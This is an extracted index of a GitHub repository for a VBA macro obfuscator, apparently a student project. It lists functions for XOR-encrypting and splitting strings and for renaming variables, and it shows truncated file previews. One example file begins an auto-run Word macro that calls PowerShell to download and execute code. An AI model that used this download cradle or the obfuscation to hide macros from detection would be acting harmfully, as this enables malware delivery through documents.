method _obfuscate_string (line 68) | def _obfuscate_string(self, s: str) -> str:
method _run_on_string (line 82) | def _run_on_string(self, s: str):
function _get_random_key (line 86) | def _get_random_key(n: int) -> List[int]:
function _xor (line 90) | def _xor(t):
function _xor_crypt (line 95) | def _xor_crypt(msg, key):
function _to_vba_array (line 101) | def _to_vba_array(arr):
FILE: obfuscator/modifier/strings/split.py
class SplitStrings (line 14) | class SplitStrings(Modifier):
method run (line 15) | def run(self, doc: MSDocument) -> None:
class _SplitStringsFmtr (line 19) | class _SplitStringsFmtr(StringFormatter):
method __init__ (line 20) | def __init__(self):
method _split_string (line 24) | def _split_string(self, s: str) -> str:
method _run_on_string (line 34) | def _run_on_string(self, s: str):
function _split_string (line 38) | def _split_string(s: str) -> int:
FILE: obfuscator/modifier/strings/strings.py
class StringFormatter (line 11) | class StringFormatter(Formatter):
method __init__ (line 12) | def __init__(self, **options):
method _run_on_string (line 17) | def _run_on_string(self, s: str) -> str:
method format (line 20) | def format(self, tokensource, outfile):
FILE: obfuscator/msdocument.py
class MSDocument (line 1) | class MSDocument:
method __init__ (line 2) | def __init__(self, path: str):
FILE: obfuscator/util.py
function get_random_string (line 6) | def get_random_string(size: int) -> str:
function get_random_string_of_random_length (line 10) | def get_random_string_of_random_length() -> str:
function replace_whole_word (line 15) | def replace_whole_word(content: str, var_name: str, new_name: str) -> str:
function get_functions (line 23) | def get_functions(code):
function get_variables_parameters (line 38) | def get_variables_parameters(code):
function get_variables_const (line 55) | def get_variables_const(code):
function get_variables_defined (line 66) | def get_variables_defined(code):
function extract_variables (line 83) | def extract_variables(text):
function split_var_declaration_from_code (line 97) | def split_var_declaration_from_code(code):
Condensed preview — 24 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (33K chars).
[
{
"path": ".gitignore",
"chars": 16,
"preview": ".idea/\n**/*.pyc\n"
},
{
"path": ".vscode/settings.json",
"chars": 47,
"preview": "{\n \"python.pythonPath\": \"/usr/bin/python3\"\n}"
},
{
"path": "Dockerfile",
"chars": 174,
"preview": "FROM python:3.7-alpine\n\nWORKDIR /obfuscator\n\nCOPY requirements.txt ./\nRUN pip install --no-cache-dir -r requirements.txt"
},
{
"path": "README.md",
"chars": 2083,
"preview": "# VBA obfuscator\n> Final year school project, obfuscate Word macros.\n\nThis program obfuscates the Visual Basic code from"
},
{
"path": "example_macro/download_payload.vba",
"chars": 281,
"preview": "Sub Auto_Open()\n Dim exec As String\n Dim testvar As String\n exec = \"powershell.exe \"\"IEX ((new-object net.webcl"
},
{
"path": "example_macro/wmi_example.vba",
"chars": 2015,
"preview": "Sub WMI()\r\n \r\n Dim oWMISrvEx As Object 'SWbemServicesEx\r\n Dim oWMIObjSet As Object 'SWbemServicesOb"
},
{
"path": "obfuscate.py",
"chars": 2210,
"preview": "#!/usr/bin/env python3\nimport argparse\nimport logging\nimport sys\n\nfrom obfuscator.log import configure_logging\nfrom obfu"
},
{
"path": "obfuscator/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "obfuscator/log.py",
"chars": 387,
"preview": "import logging\nimport sys\n\n\ndef configure_logging():\n # create a stdout handler\n handler = logging.StreamHandler(s"
},
{
"path": "obfuscator/modifier/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "obfuscator/modifier/base.py",
"chars": 317,
"preview": "from obfuscator.msdocument import MSDocument\n\n\nclass Modifier:\n def run(self, doc: MSDocument) -> None:\n raise"
},
{
"path": "obfuscator/modifier/break_lines_too_long.py",
"chars": 1915,
"preview": "import logging\nfrom typing import List\n\nfrom pygments import highlight\nfrom pygments.formatter import Formatter\nfrom pyg"
},
{
"path": "obfuscator/modifier/comments.py",
"chars": 664,
"preview": "from pygments import highlight\nfrom pygments.formatter import Formatter\nfrom pygments.lexers.dotnet import VbNetLexer\nfr"
},
{
"path": "obfuscator/modifier/functions_vars.py",
"chars": 1872,
"preview": "import logging\n\nfrom pygments import highlight\nfrom pygments.formatter import Formatter\nfrom pygments.lexers.dotnet impo"
},
{
"path": "obfuscator/modifier/misc.py",
"chars": 391,
"preview": "import re\n\nfrom obfuscator.modifier.base import Modifier\nfrom obfuscator.msdocument import MSDocument\n\n\nclass RemoveInde"
},
{
"path": "obfuscator/modifier/numbers.py",
"chars": 1430,
"preview": "# Token.Literal.Number.Integer\nimport random\n\nfrom pygments import highlight\nfrom pygments.formatter import Formatter\nfr"
},
{
"path": "obfuscator/modifier/strings/__init__.py",
"chars": 119,
"preview": "from obfuscator.modifier.strings.crypt import CryptStrings\nfrom obfuscator.modifier.strings.split import SplitStrings\n\n"
},
{
"path": "obfuscator/modifier/strings/base64.vbs",
"chars": 7077,
"preview": "' A Base64 Encoder/Decoder.\r\n'\r\n' This module is used to encode and decode data in Base64 format as described in RFC 152"
},
{
"path": "obfuscator/modifier/strings/crypt.py",
"chars": 3471,
"preview": "import base64\nimport os\nimport logging\nimport random\nfrom typing import List\n\nfrom pygments import highlight\nfrom pygmen"
},
{
"path": "obfuscator/modifier/strings/split.py",
"chars": 1534,
"preview": "import logging\nimport random\n\nfrom pygments import highlight\nfrom pygments.lexers.dotnet import VbNetLexer\n\nfrom obfusca"
},
{
"path": "obfuscator/modifier/strings/strings.py",
"chars": 1469,
"preview": "import logging\n\nfrom pygments.formatter import Formatter\nfrom pygments.token import Token\n\nLOG = logging.getLogger(__nam"
},
{
"path": "obfuscator/msdocument.py",
"chars": 151,
"preview": "class MSDocument:\n def __init__(self, path: str):\n with open(path, \"r\") as f:\n self.code = f.read()"
},
{
"path": "obfuscator/util.py",
"chars": 2843,
"preview": "import random\nimport re\nimport string\n\n\ndef get_random_string(size: int) -> str:\n return ''.join(random.choice(string"
},
{
"path": "requirements.txt",
"chars": 8,
"preview": "pygments"
}
]
About this extraction
This page contains the full source code of the bonnetn/vba-obfuscator GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 24 files (29.8 KB), approximately 8.7k tokens, and a symbol index with 69 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.